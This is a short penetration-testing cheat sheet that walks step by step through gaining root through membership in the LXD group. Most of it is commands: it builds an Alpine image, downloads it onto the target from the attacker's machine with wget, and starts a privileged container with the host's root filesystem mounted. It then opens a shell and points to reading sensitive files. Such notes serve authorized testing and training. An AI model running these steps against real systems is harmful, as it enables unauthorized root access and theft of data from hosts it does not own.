LXC/LXD (Linux Container/Daemon) Privilege Escalation

Last modified: 2023-01-30

Privilege Escalation

LXD is a container management extension for Linux Containers (LXC).

Basic Flow

  1. Check if You are in the Lxd Group

    If you belong to the Lxd group, you may be able to the root privileges.

  2. Check if Container Image Exists

    List all images and check if a container image already exists.

    lxc image list

    If there are not container, build a new image in your local machine.

    git clone  https://github.com/saghul/lxd-alpine-builder.git
    cd lxd-alpine-builder
    sudo ./build-alpine
    python3 -m http.server 8000

    In remote machine, download the “alpine-*.tar.gz” and import it.

    wget http://<local-ip>:8000/alpine-v3.17-x86_64-20221206_0615.tar.gz
    lxc image import ./alpine-v3.17-x86_64-20221206_0615.tar.gz --alias testimage
    lxc image list

    After that, create a new container from the image.

    lxc init testimage testcontainer -c security.privileged=true

    If you got the error “No storage pool found. Please create a new storage pool.”, initialize the lxd at first.

    lxd init
    # Set default values in prompt

    Then create a new container as above command.

  3. Mount the New Container to Root Directory

    Now mount the host's / directory onto /mnt/root in the container you created.

    lxc config device add testcontainer testdevice disk source=/ path=/mnt/root recursive=true
  4. Start the Container

    lxc start testcontainer
  5. Get a Shell

    lxc exec testcontainer /bin/sh

    Check if you are root.

  6. Retrieve the Sensitive Information in the Mounted Directory

    cd /mnt/root/